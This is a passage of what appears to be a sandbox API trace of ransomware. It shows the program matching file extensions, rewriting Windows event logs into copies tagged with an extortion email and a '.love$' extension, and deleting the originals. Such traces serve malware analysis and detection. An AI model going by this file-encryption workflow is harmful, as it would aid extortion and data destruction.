[0121.001] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.001] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0121.001] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0121.002] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0121.002] CloseHandle (hObject=0x348) returned 1 [0121.002] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0121.002] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.002] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0121.003] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.003] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.003] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0121.003] GetLastError () returned 0x0 [0121.003] ReadFile (in: hFile=0x348, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.007] WriteFile (in: hFile=0x364, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.010] ReadFile (in: hFile=0x348, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.010] WriteFile (in: hFile=0x364, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x13a, lpOverlapped=0x0) returned 1 [0121.010] SetEndOfFile (hFile=0x364) returned 1 [0121.010] CloseHandle (hObject=0x364) returned 1 [0121.013] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.013] SetEndOfFile (hFile=0x348) returned 1 [0121.015] CloseHandle (hObject=0x348) returned 1 [0121.015] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.015] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0121.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.016] lstrlenW (lpString=".doc") returned 4 [0121.016] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.016] lstrlenW (lpString=".docx") returned 5 [0121.016] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.016] lstrlenW (lpString=".pdf") returned 4 [0121.016] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.016] lstrlenW (lpString=".xls") returned 4 [0121.016] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.016] lstrlenW (lpString=".xlsx") returned 5 [0121.016] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.016] lstrlenW (lpString=".ppt") returned 4 [0121.016] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.016] lstrlenW (lpString=".zip") returned 4 [0121.016] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.016] lstrlenW (lpString=".rar") returned 4 [0121.016] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.016] lstrlenW (lpString=".bz2") returned 4 [0121.016] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.017] lstrlenW (lpString=".7z") returned 3 [0121.017] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.017] lstrlenW (lpString=".dbf") returned 4 [0121.017] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.017] lstrlenW (lpString=".1cd") returned 4 [0121.017] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.017] lstrlenW (lpString=".jpg") returned 4 [0121.017] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.017] lstrlenW (lpString=".doc") returned 4 [0121.017] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.017] lstrlenW (lpString=".docx") returned 5 [0121.017] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.017] lstrlenW (lpString=".pdf") returned 4 [0121.017] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.017] lstrlenW (lpString=".xls") returned 4 [0121.017] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.017] lstrlenW (lpString=".xlsx") returned 5 [0121.017] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.017] lstrlenW (lpString=".ppt") returned 4 [0121.017] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.017] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.018] lstrlenW (lpString=".zip") returned 4 [0121.018] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.018] lstrlenW (lpString=".rar") returned 4 [0121.018] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.018] lstrlenW (lpString=".bz2") returned 4 [0121.018] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.018] lstrlenW (lpString=".7z") returned 3 [0121.018] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.018] lstrlenW (lpString=".dbf") returned 4 [0121.018] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.018] lstrlenW (lpString=".1cd") returned 4 [0121.018] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.018] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0121.018] lstrlenW (lpString=".jpg") returned 4 [0121.018] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.018] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.018] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0121.018] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0121.019] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0121.019] CloseHandle (hObject=0x348) returned 1 [0121.020] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0121.020] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.020] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0121.020] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.020] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.020] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0121.022] GetLastError () returned 0x0 [0121.022] ReadFile (in: hFile=0x348, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.025] WriteFile (in: hFile=0x364, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.028] ReadFile (in: hFile=0x348, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.028] WriteFile (in: hFile=0x364, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x128, lpOverlapped=0x0) returned 1 [0121.028] SetEndOfFile (hFile=0x364) returned 1 [0121.028] CloseHandle (hObject=0x364) returned 1 [0121.031] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.031] SetEndOfFile (hFile=0x348) returned 1 [0121.033] CloseHandle (hObject=0x348) returned 1 [0121.033] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.033] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0121.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.364] lstrlenW (lpString=".doc") returned 4 [0121.364] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.365] lstrlenW (lpString=".docx") returned 5 [0121.365] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.365] lstrlenW (lpString=".pdf") returned 4 [0121.365] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.365] lstrlenW (lpString=".xls") returned 4 [0121.365] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.365] lstrlenW (lpString=".xlsx") returned 5 [0121.365] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.365] lstrlenW (lpString=".ppt") returned 4 [0121.365] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.365] lstrlenW (lpString=".zip") returned 4 [0121.365] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.365] lstrlenW (lpString=".rar") returned 4 [0121.365] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.365] lstrlenW (lpString=".bz2") returned 4 [0121.365] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.365] lstrlenW (lpString=".7z") returned 3 [0121.365] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.365] lstrlenW (lpString=".dbf") returned 4 [0121.365] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.365] lstrlenW (lpString=".1cd") returned 4 [0121.365] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.365] lstrlenW (lpString=".jpg") returned 4 [0121.366] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.366] lstrlenW (lpString=".doc") returned 4 [0121.366] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.366] lstrlenW (lpString=".docx") returned 5 [0121.366] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.366] lstrlenW (lpString=".pdf") returned 4 [0121.366] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.366] lstrlenW (lpString=".xls") returned 4 [0121.366] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.366] lstrlenW (lpString=".xlsx") returned 5 [0121.366] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.366] lstrlenW (lpString=".ppt") returned 4 [0121.366] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.366] lstrlenW (lpString=".zip") returned 4 [0121.366] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.366] lstrlenW (lpString=".rar") returned 4 [0121.366] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.366] lstrlenW (lpString=".bz2") returned 4 [0121.366] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.366] lstrlenW (lpString=".7z") returned 3 [0121.366] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.367] lstrlenW (lpString=".dbf") returned 4 [0121.367] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.367] lstrlenW (lpString=".1cd") returned 4 [0121.367] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0121.367] lstrlenW (lpString=".jpg") returned 4 [0121.367] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.367] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.367] lstrlenW (lpString="Microsoft-Windows-MUI%4Operational.evtx") returned 39 [0121.367] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.368] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0121.368] CloseHandle (hObject=0x380) returned 1 [0121.368] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0121.368] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.368] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.369] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.369] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.369] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0121.369] GetLastError () returned 0x0 [0121.369] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.373] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.375] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.375] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x122, lpOverlapped=0x0) returned 1 [0121.375] SetEndOfFile (hFile=0x354) returned 1 [0121.375] CloseHandle (hObject=0x354) returned 1 [0121.382] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.382] SetEndOfFile (hFile=0x380) returned 1 [0121.383] CloseHandle (hObject=0x380) returned 1 [0121.383] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.384] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0121.384] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.384] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.384] lstrlenW (lpString=".doc") returned 4 [0121.384] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.384] lstrlenW (lpString=".docx") returned 5 [0121.384] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.384] lstrlenW (lpString=".pdf") returned 4 [0121.384] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.384] lstrlenW (lpString=".xls") returned 4 [0121.384] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.384] lstrlenW (lpString=".xlsx") returned 5 [0121.384] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.385] lstrlenW (lpString=".ppt") returned 4 [0121.385] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.385] lstrlenW (lpString=".zip") returned 4 [0121.385] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.385] lstrlenW (lpString=".rar") returned 4 [0121.385] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.385] lstrlenW (lpString=".bz2") returned 4 [0121.385] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.385] lstrlenW (lpString=".7z") returned 3 [0121.385] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.385] lstrlenW (lpString=".dbf") returned 4 [0121.385] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.385] lstrlenW (lpString=".1cd") returned 4 [0121.385] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.385] lstrlenW (lpString=".jpg") returned 4 [0121.385] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.385] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.385] lstrlenW (lpString=".doc") returned 4 [0121.385] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.385] lstrlenW (lpString=".docx") returned 5 [0121.385] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.385] lstrlenW (lpString=".pdf") returned 4 [0121.385] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.385] lstrlenW (lpString=".xls") returned 4 [0121.385] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.385] lstrlenW (lpString=".xlsx") returned 5 [0121.385] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.385] lstrlenW (lpString=".ppt") returned 4 [0121.386] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.386] lstrlenW (lpString=".zip") returned 4 [0121.386] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.386] lstrlenW (lpString=".rar") returned 4 [0121.386] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.386] lstrlenW (lpString=".bz2") returned 4 [0121.386] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.386] lstrlenW (lpString=".7z") returned 3 [0121.386] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.386] lstrlenW (lpString=".dbf") returned 4 [0121.386] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.386] lstrlenW (lpString=".1cd") returned 4 [0121.386] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47 [0121.386] lstrlenW (lpString=".jpg") returned 4 [0121.386] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.386] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.386] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40 [0121.386] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.387] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0121.387] CloseHandle (hObject=0x380) returned 1 [0121.387] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0121.387] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.387] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.387] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.387] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.387] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 